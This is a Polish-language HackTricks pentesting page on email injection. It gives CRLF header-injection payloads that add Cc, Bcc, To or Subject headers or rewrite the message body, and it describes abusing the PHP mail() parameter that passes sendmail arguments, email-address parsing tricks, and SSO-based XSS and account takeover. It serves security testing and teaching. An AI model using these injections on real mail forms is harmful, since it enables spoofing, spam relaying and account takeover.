hacktricks/pentesting-web/email-injections.md

9.9 KiB

Wstrzykiwanie e-maili


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wstrzyknięcie w wysłany e-mail

Wstrzyknięcie Cc i Bcc po argumencie nadawcy

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Wiadomość zostanie wysłana do kont odbiorcy i odbiorcy1.

Wstrzyknięcie argumentu

From:sender@domain.com%0ATo:attacker@domain.com

Wstrzyknięcie argumentu Temat

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Zmiana treści wiadomości

Wstrzyknij dwie linie odstępu, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Wykorzystanie funkcji PHP mail()

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5. parametr ($additional_parameters)

Ta sekcja będzie oparta na sposobach nadużywania tego parametru zakładając, że atakujący go kontroluje.

Ten parametr zostanie dodany do wiersza poleceń, który PHP będzie używał do wywołania binarnego sendmail. Jednak zostanie zdezynfekowany za pomocą funkcji escapeshellcmd($additional_parameters).

Atakujący może wstrzykiwać dodatkowe parametry dla sendmail w tym przypadku.

Różnice w implementacji /usr/sbin/sendmail

Interfejs sendmail jest dostarczany przez oprogramowanie MTA email (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż podstawowa funkcjonalność (takie jak parametry -t -i -f) pozostaje taka sama ze względów kompatybilności, inne funkcje i parametry różnią się znacznie w zależności od zainstalowanego MTA.

Oto kilka przykładów różnych stron podręcznika polecenia sendmail:

W zależności od pochodzenia binarnego sendmail odkryto różne opcje nadużywania ich i wyciek plików lub nawet wykonywanie arbitralnych poleceń. Sprawdź jak to zrobić w https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Wstrzykiwanie w nazwę e-mail

Pominięte części e-maila

Symbole: +, - i {} w rzadkich przypadkach mogą być używane do oznaczania i są ignorowane przez większość serwerów e-mail

Komentarze między nawiasami () na początku lub na końcu również będą ignorowane

Ominięcie białej listy

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Cytaty

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Adresy IP

Możesz również używać adresów IP jako nazwę domeny między nawiasami kwadratowymi:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Inne podatności

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

SSO zewnętrzny

XSS

Niektóre usługi takie jak github lub salesforce pozwalają na utworzenie adresu e-mail z ładunkami XSS. Jeśli możesz użyć tych dostawców do logowania się w innych usługach i te usługi nie dezynfekują poprawnie adresu e-mail, możesz spowodować XSS.

Przejęcie konta

Jeśli usługa SSO pozwala na utworzenie konta bez weryfikacji podanego adresu e-mail (tak jak salesforce) a następnie możesz użyć tego konta do zalogowania się w innej usłudze, która ufa salesforce, możesz uzyskać dostęp do dowolnego konta.
Zauważ, że salesforce wskazuje, czy podany adres e-mail został zweryfikowany czy nie, więc aplikacja powinna uwzględnić tę informację.

Reply-To

Możesz wysłać e-mail używając Od: firma.com i Odpowiedz do: atakujący.com i jeśli jakakolwiek automatyczna odpowiedź zostanie wysłana z powodu e-maila wysłanego z wewnętrznego adresu, atakujący może być w stanie otrzymaćodpowiedź.

Wskaźnik odrzuceń

Pewne usługi, takie jak AWS, implementują próg znany jako Wskaźnik odrzuceń, zazwyczaj ustawiony na poziomie 10%. Jest to kluczowa metryka, zwłaszcza dla usług dostarczania e-maili. Przekroczenie tego wskaźnika może spowodować zawieszenie lub zablokowanie usługi, takiej jak usługa e-mailowa AWS.

Twardy odrzut odnosi się do e-maila, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wystąpić z różnych powodów, takich jak wysłanie e-maila na nieistniejący adres, domenę, która nie istnieje, lub odmowę serwera odbiorcy przyjęcia e-maili.

W kontekście AWS, jeśli wysyłasz 1000 e-maili i 100 z nich kończy się twardymi odrzutami (z powodu np. nieprawidłowych adresów lub domen), oznacza to wskaźnik twardych odrzutów na poziomie 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service).

Konieczne jest utrzymanie niskiego wskaźnika twardych odrzutów, aby zapewnić nieprzerwane świadczenie usług e-mail i utrzymanie reputacji nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail na listach mailingowych może znacząco pomóc w osiągnięciu tego celu.

Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odrzuceń i skarg AWS SES Bounce Handling.

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest do łatwego tworzenia i automatyzacji workflowów z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Zdobądź dostęp już dziś:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}